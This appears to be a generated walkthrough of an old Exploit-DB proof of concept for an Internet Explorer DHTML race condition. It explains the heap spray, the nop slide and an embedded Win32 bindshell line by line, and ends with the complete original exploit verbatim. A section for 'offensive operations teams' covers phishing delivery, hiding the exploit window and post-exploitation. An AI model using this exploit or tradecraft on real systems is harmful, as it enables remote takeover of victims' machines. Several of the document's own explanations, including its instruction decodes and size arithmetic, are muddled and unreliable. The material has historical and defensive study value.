Understanding the MSIE DHTML Object Memory Corruption Exploit (Paper ID: 930)

Understanding the MSIE DHTML Object Memory Corruption Exploit (Paper ID: 930)
What this paper is
This paper details a Proof-of-Concept (PoC) exploit for a multithreading vulnerability in Microsoft Internet Explorer (MSIE) related to the Document Object Model (DOM) and Dynamic HTML (DHTML) objects. Specifically, it targets a race condition that occurs when appending elements between different browser windows. The exploit aims to gain control of the program's execution flow by manipulating memory.
Simple technical breakdown
The vulnerability lies in how MSIE handles appending elements to the DOM when those elements originate from a different window. There's a "race condition," meaning the outcome depends on the timing of operations.
The exploit leverages this by:
- Heap Spraying: Filling the browser's memory (the "heap") with specific data. This data is designed to overwrite critical structures that the browser uses.
- Controlling the Jump: The exploit manipulates the heap so that when the vulnerable code tries to read a value from memory, it reads the attacker-controlled data. This data is crafted to point to an address that the attacker controls, leading to the execution of malicious code (shellcode).
The core of the exploit involves creating a large string of repeating bytes (0x0D0D0D0D) which, when used in a specific way with appendChild, causes the browser to read this value from memory. The exploit then ensures that this 0x0D0D0D0D value, when interpreted as an address, points to a "nop slide" (a sequence of no-operation instructions) followed by the attacker's shellcode.
Complete code and payload walkthrough
The provided source is an HTML file containing JavaScript code.
<HTML><!--
... (Copyright and license information) ...
The vulnerability:
There is a race condition when using appendChild to append an element in one
window to an element in another. A "dirty" read can be exploited to gain
control over the process. The control can be gained because of this code:
MSHTML.DLL @ 0x635F6074 (win2ksp4en)
MOV EAX, DWORD PTR [ESP+4] ; EAX = Some pointer to the heap for mshtml
MOV EAX, DWORD PTR [EAX] ; EAX = "dirty" value from heap
JMP NEAR DWORD PTR [EAX+8] ; Jmp to memory pointed to by "dirty" value
This is how we exploit it:
- To get some control over the "dirty" value we try to "spray" the heap for
mshtml with the value we want it to read. This is done with creatComment()s
that contain a string full of our value. We want to spray effectve and
fast, so we use as big a string as possible. If we use a string over 512
bytes long, mshtml will write a pointer to the string instead of the string
itself.
- To jump to the right address, we have to make sure that the "dirty" value
points to a pointer that in turn points to the address we want to jump to.
The first part of the exploit will provide for all this in creating a
number of dwords around 0x0D0D0D0D that all point to 0x0D0D0D0D. So if we
"spray" the heap for mshtml with 0x0D0D0D0D, this is what will happen:
MSHTML.DLL @ 0x635F6074 (win2ksp4en)
MOV EAX, DWORD PTR [ESP+4] ; EAX = Some pointer to the heap fot mshtml
MOV EAX, DWORD PTR [EAX] ; EAX = 0x0D0D0D0D
JMP NEAR DWORD PTR [EAX+8] ; JMP [0x0D0D0D15] = JMP 0x0D0D0D0D
HEAP @ 0x0D0D0D0D
OR EAX, 0x0D0D0D0D
OR EAX, 0x0D0D0D0D
OR EAX, 0x0D0D0D0D
...nopslide...
shellcode
This has proven to work quite reliable. Allthough testing showed that there
is a chance we do not control the "dirty" value. In this case, the "dirty"
value seems to be 0x11CF03f9 a lot of the time, so we make sure we cover
that address with the '0D' nopslide-landingzone too.
-->
<SCRIPT id="SkyLined" language="javascript">
// ... (JavaScript code) ...
</SCRIPT>
</HTML>The HTML contains a <SCRIPT> tag with JavaScript code.
JavaScript Code Walkthrough:
sMSHTML_heap_spray = unescape("%u0D0D%u0D0D");- Purpose: Initializes a string with the Unicode representation of
0x0D0D0D0D.unescapeis used to convert these%uXXXXsequences into actual characters. - Practical Purpose: This is the initial value used for heap spraying. The
0x0D0D0D0Dpattern is chosen because it's often treated as a pointer by the vulnerable code, and the exploit aims to make this pointer lead to the attacker's code.
- Purpose: Initializes a string with the Unicode representation of
for (i=0; i<7; i++) sMSHTML_heap_spray += sMSHTML_heap_spray;- Purpose: Doubles the
sMSHTML_heap_spraystring 7 times. - Practical Purpose: This creates a string of approximately 128 characters (2^7 = 128). The comment mentions "512 bytes," and if each
%uXXXXrepresents 2 bytes, then 128 * 2 = 256 bytes. The exploit's logic relies on creating a string over 512 bytes to trigger a specific behavior in MSIE where it writes a pointer to the string instead of the string itself. This loop likely aims to reach that threshold or prepare for it.
- Purpose: Doubles the
try { exploit(opener.document.createComment(sMSHTML_heap_spray)); } catch(e) { window.open(document.location.href); }- Purpose: Attempts to call the
exploitfunction with a comment element created in theopenerwindow's document. If this fails (likely due to cross-origin restrictions or if the window wasn't opened by another window), it opens the current page in a new window. - Practical Purpose: This is the initial trigger. The exploit needs to interact with an element in another window. The
openerobject refers to the window that opened the current one.createCommentis used to insert the sprayed data into the DOM. If the initial attempt fails, it tries to restart the process by opening a new window, hoping to establish the correct window hierarchy.
- Purpose: Attempts to call the
function exploit(parent_element)- Purpose: This function contains the core exploit logic. It takes a
parent_element(expected to be a comment node) as an argument. - Practical Purpose: This is where the memory manipulation and shellcode injection happen.
- Purpose: This function contains the core exploit logic. It takes a
opener.focus(); window.moveTo(100000, 100000);- Purpose: Moves the current exploit window to an off-screen location and brings the opener window to the foreground.
- Practical Purpose: This is cosmetic. It hides the exploit window, making it less obvious to the user, and brings the target window (where the vulnerability will be triggered) to the front.
iHeap_fill_to_address = 0x12000000;- Purpose: Defines a target memory address.
- Practical Purpose: This is likely an estimate of where the exploit expects to place its shellcode or where it expects the vulnerable code to jump. The exact value can be system-dependent.
sHeap_return_address = unescape("%u0D0D%u0D0D");- Purpose: Re-initializes a string with
0x0D0D0D0D. - Practical Purpose: This value is used again as part of the heap spray and the nop slide. It's the "magic" value that the exploit tries to make the vulnerable code read.
- Purpose: Re-initializes a string with
sShellcode = unescape("...");- Purpose: Defines the actual shellcode as a sequence of
%uXXXXUnicode escape sequences. - Practical Purpose: This is the malicious payload. The comment indicates it's a "Win32 bindshell (port 28876, '\0' free, looping)." This means it will open a network port (28876) on the compromised machine and wait for incoming connections, allowing an attacker to connect to it and gain a command shell. The shellcode itself is a complex sequence of x86 assembly instructions.
Let's break down the shellcode structure:
"%u43eb"+"%u5756"+"%u458b"+"%u8b3c"+"%u0554"+"%u0178"+"%u52ea": This initial part likely sets up registers and prepares for system calls. For example,0x43ebmight beJMP EB,0x5756might bePUSH ESI; PUSH EDI.0x458bcould beMOV EAX, [EDI+0x45].0x8b3ccould beMOV EDI, [ESI+EBX*4].0x0554could bePUSH EBX; PUSH EBP.0x0178could beADD EAX, [EDI+0x78].0x52eacould beSUB ESP, 0x2E. These are educated guesses based on common shellcode patterns and instruction prefixes. The exact meaning requires detailed disassemblasembly.- The subsequent long string of
%uXXXXsequences represents the rest of the shellcode. This is where the bindshell logic resides:- It will likely involve system calls to
socket(),bind(), andlisten()to set up the listening socket. - Then, it will use
accept()to accept incoming connections. - Finally, it will likely use
dup2()to redirect standard input, output, and error to the accepted socket, and then execute a command interpreter (likecmd.exe) to provide a shell. - The "looping" aspect means it will likely go back to
accept()after a connection is closed or after providing a shell, to wait for new connections. - The
'\0' freecomment suggests it might be optimized to avoid null bytes, which can be problematic in some shellcode contexts.
- It will likely involve system calls to
- Purpose: Defines the actual shellcode as a sequence of
iHeap_header_size = 0x38;- Purpose: Defines the size of a heap block header in MSIE.
- Practical Purpose: This is crucial for calculating the layout of memory. The exploit needs to know how much space is occupied by the browser's internal data structures within a heap allocation before the attacker's data begins. The comment notes that
0x24is the actual size, but0x38"works better," indicating an empirical adjustment for reliability.
iHeap_block_size = 0x400000;- Purpose: Defines the target size for allocated memory blocks.
- Practical Purpose: The exploit aims to create large, predictable memory blocks. Allocating large blocks helps ensure that the sprayed data occupies contiguous memory regions, making it easier to control.
iShellcode_size = sShellcode.length * 2;- Purpose: Calculates the size of the shellcode in bytes.
- Practical Purpose: Since JavaScript strings with
%uXXXXrepresent 16-bit Unicode characters, each character is 2 bytes. This calculation converts the number of characters to bytes.
iNopslide_size = iHeap_block_size - (iHeap_header_size + iShellcode_size);- Purpose: Calculates the required size for the "nop slide."
- Practical Purpose: The nop slide (
0x0D0D0D0Drepeated) is a buffer between the heap header and the shellcode. It's designed to ensure that even if the exact jump target is slightly off, the execution will "slide" through the NOP instructions until it hits the actual shellcode.
sNopslide = sHeap_return_address; while (sNopslide.length*2<iNopslide_size) sNopslide+=sNopslide; sNopslide = sNopslide.substring(0, iNopslide_size/2);- Purpose: Creates the nop slide string. It starts with
0x0D0D0D0D, then repeatedly doubles itself until it's large enough, and finally truncates it to the exactiNopslide_size. - Practical Purpose: This constructs the sequence of
0x0D0D0D0Dbytes that will fill the gap.
- Purpose: Creates the nop slide string. It starts with
iHeap_block_count = (iHeap_fill_to_address-0x400000) / iHeap_block_size;- Purpose: Calculates how many large memory blocks need to be allocated to reach the
iHeap_fill_to_address. - Practical Purpose: This determines the number of times the exploit will allocate a large chunk of memory containing the nop slide and shellcode. The
0x400000offset is a heuristic to ensure the sprayed blocks are placed in a predictable region of memory.
- Purpose: Calculates how many large memory blocks need to be allocated to reach the
memory = new Array(); for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sShellcode;- Purpose: Allocates the large memory blocks. It creates an array
memoryand fills each element with the combined nop slide and shellcode. - Practical Purpose: This is the core of the heap spray. By creating many large objects, the exploit forces the browser's memory allocator to create many large blocks. The hope is that one of these blocks will be allocated at or near the address the vulnerable code tries to jump to.
- Purpose: Allocates the large memory blocks. It creates an array
sMSHTML_heap_spray = sNopslide.substring(0, 0x100); // 0x100 dwords = 512 bytez- Purpose: Creates a smaller spray string, specifically 512 bytes long (0x100 dwords * 2 bytes/dword = 512 bytes).
- Practical Purpose: This smaller spray string is used in the
appendChildcall. According to the exploit's description, strings over 512 bytes cause MSIE to write a pointer to the string, while shorter strings might be handled differently. This smaller string is likely used to trigger the vulnerableappendChildoperation in a way that reads the pointer to the larger sprayed memory blocks.
for(i=0;i<1024;i++) try { parent_element.appendChild(document.createComment(sMSHTML_heap_spray)); } catch (e) { }- Purpose: Appends the smaller spray string as a comment node to the
parent_elementmultiple times. - Practical Purpose: This is the final trigger. It attempts to append the comment node (containing the 512-byte spray) to the
parent_element(which was created in the opener window). This operation, due to the race condition and the specific data sprayed, is intended to cause the vulnerableJMP [EAX+8]instruction inmshtml.dllto execute, jumping to the attacker-controlled address (which points to the nop slide and shellcode). The loop of 1024 attempts increases the probability of hitting the race condition.
- Purpose: Appends the smaller spray string as a comment node to the
Code Fragment/Block -> Practical Purpose Mapping:
sMSHTML_heap_spray = unescape("%u0D0D%u0D0D");-> Initializing the target memory pattern (0x0D0D0D0D).for (i=0; i<7; i++) sMSHTML_heap_spray += sMSHTML_heap_spray;-> Preparing a string to trigger specific MSIE memory allocation behavior.exploit(opener.document.createComment(sMSHTML_heap_spray));-> Initial attempt to trigger the vulnerability by creating a comment in the opener window.window.open(document.location.href);-> Fallback to open the exploit in a new window if the initial trigger fails.opener.focus(); window.moveTo(100000, 100000);-> Hiding the exploit window and focusing the target window.iHeap_fill_to_address = 0x12000000;-> Target memory address for shellcode placement.sHeap_return_address = unescape("%u0D0D%u0D0D");-> The "magic" value used for heap spraying and the nop slide.sShellcode = unescape("...");-> The actual malicious payload (Win32 bindshell).iHeap_header_size = 0x38;-> Size of MSIE's internal heap block metadata.iHeap_block_size = 0x400000;-> Size of large memory blocks to allocate for spraying.iShellcode_size = sShellcode.length * 2;-> Calculating the byte size of the shellcode.iNopslide_size = iHeap_block_size - (iHeap_header_size + iShellcode_size);-> Calculating the size of the nop slide.sNopslide = sHeap_return_address; ... sNopslide = sNopslide.substring(0, iNopslide_size/2);-> Constructing the nop slide string.iHeap_block_count = (iHeap_fill_to_address-0x400000) / iHeap_block_size;-> Determining how many memory blocks to spray.memory[i] = sNopslide + sShellcode;-> Creating the large memory blocks containing nop slide and shellcode.sMSHTML_heap_spray = sNopslide.substring(0, 0x100);-> Creating a smaller spray string to trigger the vulnerableappendChild.parent_element.appendChild(document.createComment(sMSHTML_heap_spray));-> The final action that triggers the vulnerability by appending the comment.
Practical details for offensive operations teams
- Required Access Level: Client-side execution. This exploit requires the user to visit a malicious web page or open a malicious HTML file in a vulnerable version of Internet Explorer. No elevated privileges on the target system are needed beyond what a standard user has.
- Lab Preconditions:
- A virtual machine or dedicated test machine with a vulnerable version of Internet Explorer (e.g., IE 6 on Windows XP SP2/SP3).
- A web server to host the exploit HTML file, or the ability to serve it locally.
- A listener on the attacker's machine to receive the bindshell connection (e.g.,
netcatormsfconsole).
- Tooling Assumptions:
- Exploit Delivery: A web server (e.g., Apache, Nginx, Python's
SimpleHTTPServer) or a simple HTML file. - Shellcode Listener:
netcat(nc) is sufficient for receiving the bindshell. - Analysis: Debuggers (like WinDbg) and disassemblers (like IDA Pro) would be necessary for deep analysis of the shellcode and the vulnerability's memory behavior, but not for executing the exploit itself.
- Exploit Delivery: A web server (e.g., Apache, Nginx, Python's
- Execution Pitfalls:
- Race Condition Reliability: The exploit relies on a race condition, meaning it might not succeed on the first attempt. The loops and retries in the JavaScript are designed to mitigate this, but success is not guaranteed.
- ASLR/DEP: Modern operating systems have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). This exploit, being from 2005, predates widespread ASLR. DEP would likely prevent the shellcode from executing if it lands in a data segment. However, this specific exploit targets a code execution vulnerability in
mshtml.dllitself, potentially bypassing DEP if the jump lands within executable code. - Browser/OS Patches: This exploit targets a specific vulnerability patched long ago. It will not work on modern, updated systems.
- Heap Layout Variations: The precise layout of the heap can vary slightly between different Windows versions and even between instances of the browser. The
iHeap_header_sizeadjustment (0x38instead of0x24) indicates this sensitivity. - JavaScript Execution Blocking: Antivirus software or browser security settings might block JavaScript execution or specific DOM manipulation.
- Window Management: The exploit relies on
openerandwindow.open. If the user interacts with the browser in unexpected ways, or if the initial window opening fails, the exploit might not establish the correct window hierarchy.
- Tradecraft Considerations:
- Delivery: Phishing emails with links to malicious websites, or embedding the exploit in seemingly legitimate content.
- Stealth: The exploit window is hidden. The primary telemetry would be the user visiting the malicious page and the subsequent network connection from the victim to the attacker's listener.
- Post-Exploitation: The bindshell provides a basic command prompt. Further actions would depend on the attacker's objectives (e.g., privilege escalation, lateral movement).
Where this was used and when
- Context: This exploit was designed for web-based attacks targeting users browsing with vulnerable versions of Internet Explorer. It would typically be hosted on a web server and delivered via a link.
- Approximate Years/Dates: Published in April 2005. Vulnerabilities of this nature were actively exploited in the early to mid-2000s, particularly targeting older versions of Internet Explorer which were prevalent at the time. It's highly probable that exploits based on this or similar vulnerabilities were used in the wild by various threat actors.
Defensive lessons for modern teams
- Patch Management: The most critical lesson. This exploit targets a known, patched vulnerability. Regularly updating browsers and operating systems is paramount.
- Browser Sandboxing: Modern browsers employ sophisticated sandboxing techniques that isolate web content from the operating system. This significantly reduces the impact of client-side exploits.
- Exploit Mitigation Technologies: Features like ASLR, DEP, and Control Flow Guard (CFG) are designed to make memory corruption exploits much harder to execute reliably.
- JavaScript Security: While JavaScript is essential, understanding its capabilities and potential for abuse is important. Browser vendors continuously work on hardening JavaScript engines.
- Network Monitoring: Detecting the bindshell connection (unsolicited inbound connections on unusual ports, or outbound connections to known malicious IPs) is a key indicator of compromise.
- Web Application Firewalls (WAFs): WAFs can sometimes detect and block malicious JavaScript or exploit payloads delivered via web traffic.
- User Education: Training users to be cautious about clicking suspicious links and visiting untrusted websites remains a fundamental defense.
ASCII visual (if applicable)
This exploit's core mechanism involves memory manipulation and code execution flow. A visual representation of the heap spraying and the jump can be helpful.
+---------------------+
| Attacker's Web Page |
| (MSIE Vulnerable) |
+---------------------+
|
| (User visits page)
V
+-------------------------------------------------+
| MSIE Process Memory |
| |
| +-----------------+ <-- Vulnerable function |
| | mshtml.dll | (0x635F6074) |
| | MOV EAX, [ESP+4]| ; EAX = pointer to heap|
| | MOV EAX, [EAX] | ; EAX = "dirty" value |
| | JMP [EAX+8] | ; Jumps to memory |
| +-----------------+ |
| |
| +---------------------------------------------+ |
| | Heap Area | |
| | | |
| | +-----------------------------------------+ | |
| | | Heap Block 1 (Large, sprayed) | | |
| | | +------------+ +---------------------+ | | |
| | | | Heap Header| | NOP Slide (0x0D...) | | | |
| | | | (0x38) | | | | | |
| | | +------------+ +---------------------+ | | |
| | | +-------------------------------------+ | | |
| | | | Shellcode (Bindshell) | | | |
| | | +-------------------------------------+ | | |
| | +-----------------------------------------+ | |
| | | |
| | +-----------------------------------------+ | |
| | | Heap Block 2 (Large, sprayed) | | |
| | | ... | | |
| | +-----------------------------------------+ | |
| | | |
| | ... (many more sprayed blocks) ... | |
| | | |
| +---------------------------------------------+ |
| |
+-------------------------------------------------+Explanation:
- The vulnerable function in
mshtml.dllis called. - It reads a pointer from the heap (
[ESP+4]). - It then dereferences that pointer to get a "dirty" value (
[EAX]). - The exploit manipulates the heap so this "dirty" value points to an address within one of the sprayed heap blocks.
- The
JMP [EAX+8]instruction then jumps to the address specified by the "dirty" value. - This jump lands on the NOP slide (
0x0D0D...), which then slides execution down to the actual shellcode. - The shellcode executes, establishing the bindshell.
Source references
- Paper ID: 930
- Paper Title: Microsoft Internet Explorer - DHTML Object Memory Corruption
- Author: Skylined
- Published: 2005-04-12
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/930
- Raw Exploit URL: https://www.exploit-db.com/raw/930
Original Exploit-DB Content (Verbatim)
<HTML><!--
________________________________________________________________________________
,sSSSs, Ss, Internet Exploiter 2 v0.1
SS" `YS' '*Ss. MSIE R6025 Multithreading issue PoC exploit
iS' ,SS" Copyright (C) 2003, 2004 by Berend-Jan Wever.
YS, .ss ,sY" http://www.edup.tudelft.nl/~bjwever
`"YSSP" sSS <skylined@edup.tudelft.nl>
________________________________________________________________________________
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.
The vulnerability:
There is a race condition when using appendChild to append an element in one
window to an element in another. A "dirty" read can be exploited to gain
control over the process. The control can be gained because of this code:
MSHTML.DLL @ 0x635F6074 (win2ksp4en)
MOV EAX, DWORD PTR [ESP+4] ; EAX = Some pointer to the heap for mshtml
MOV EAX, DWORD PTR [EAX] ; EAX = "dirty" value from heap
JMP NEAR DWORD PTR [EAX+8] ; Jmp to memory pointed to by "dirty" value
This is how we exploit it:
- To get some control over the "dirty" value we try to "spray" the heap for
mshtml with the value we want it to read. This is done with creatComment()s
that contain a string full of our value. We want to spray effectve and
fast, so we use as big a string as possible. If we use a string over 512
bytes long, mshtml will write a pointer to the string instead of the string
itself.
- To jump to the right address, we have to make sure that the "dirty" value
points to a pointer that in turn points to the address we want to jump to.
The first part of the exploit will provide for all this in creating a
number of dwords around 0x0D0D0D0D that all point to 0x0D0D0D0D. So if we
"spray" the heap for mshtml with 0x0D0D0D0D, this is what will happen:
MSHTML.DLL @ 0x635F6074 (win2ksp4en)
MOV EAX, DWORD PTR [ESP+4] ; EAX = Some pointer to the heap fot mshtml
MOV EAX, DWORD PTR [EAX] ; EAX = 0x0D0D0D0D
JMP NEAR DWORD PTR [EAX+8] ; JMP [0x0D0D0D15] = JMP 0x0D0D0D0D
HEAP @ 0x0D0D0D0D
OR EAX, 0x0D0D0D0D
OR EAX, 0x0D0D0D0D
OR EAX, 0x0D0D0D0D
...nopslide...
shellcode
This has proven to work quite reliable. Allthough testing showed that there
is a chance we do not control the "dirty" value. In this case, the "dirty"
value seems to be 0x11CF03f9 a lot of the time, so we make sure we cover
that address with the '0D' nopslide-landingzone too.
-->
<SCRIPT id="SkyLined" language="javascript">
sMSHTML_heap_spray = unescape("%u0D0D%u0D0D");
for (i=0; i<7; i++) // 512 bytes
sMSHTML_heap_spray += sMSHTML_heap_spray;
try {
// We need to have an element in another window, so we try to create
// one in the window that opened us. This will most likely fail
// the first time because of XSS restrictions. In that case we open
// this page in a new window and try again from there.
exploit(opener.document.createComment(sMSHTML_heap_spray));
} catch(e) {
// both open() and showHelp() work with this
window.open(document.location.href);
}
function exploit(parent_element) {
// cosmetics, this window will DIE, so we move it out of view.
opener.focus();
window.moveTo(100000, 100000);
iHeap_fill_to_address = 0x12000000;
sHeap_return_address = unescape("%u0D0D%u0D0D");
// 4 nops because the 0x0D slide has 5 byte instructions.
sShellcode = unescape("%u3737%u3737" +
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to
// HDM and others for inspiration and borrowed code. Source:
// www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
"%u43eb"+"%u5756"+"%u458b"+"%u8b3c"+"%u0554"+"%u0178"+"%u52ea" +
"%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf" +
"%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64" +
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850" +
"%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff" +
"%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22" +
"%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6" +
"%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe" +
"%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031" +
"%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56" +
"%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964" +
"%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353" +
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343" +
"%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031" +
"%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b" +
"%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
// We are going to create a large block the will contain:
// [heap header][nopslide...........................][shellcode]
// by creating an array with a number of large strings that contain
// the nopslide and the shellcode. We will do this in such a way that
// one heap block is allocated for every string (by making it at least
// 0x80000 bytes) and try to use every byte of the heap block by making
// the nopslide fill the area between the heap header and shellcode
// precisely.
// Size of the header of heap blocks in MSIE in bytes:
iHeap_header_size = 0x38; // Actually it's 0x24, but this value works better
// Size of the blocks we want to create in bytes:
iHeap_block_size = 0x400000;
// Size of the shellcode in bytes:
iShellcode_size = sShellcode.length * 2; // (convert dwords to bytes)
// From this we can calculate the size of the nopslide in bytes:
iNopslide_size = iHeap_block_size - (iHeap_header_size + iShellcode_size);
// The quickest way to create large blocks of memory is doubling their
// size untill they are big enough (or too big, in which case we cut
// them back to size.)
sNopslide = sHeap_return_address;
while (sNopslide.length*2<iNopslide_size) sNopslide+=sNopslide;
sNopslide = sNopslide.substring(0, iNopslide_size/2);
// And now we can combine the nopslide and shellcode to create the heap
// blocks, we'll create enough to make sure we've got one at the
// desired return address: If we could calculate where the first one
// will be allocated, we could create exactly enough blocks, for now
// we assume they won't start under 0x400000 so we make sure we
// create enough for that value.
iHeap_block_count = (iHeap_fill_to_address-0x400000) / iHeap_block_size;
memory = new Array();
for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sShellcode;
sMSHTML_heap_spray = sNopslide.substring(0, 0x100); // 0x100 dwords = 512 bytez
for(i=0;i<1024;i++) try {
parent_element.appendChild(document.createComment(sMSHTML_heap_spray));
} catch (e) { }
}
</SCRIPT>
</HTML>
# milw0rm.com [2005-04-12]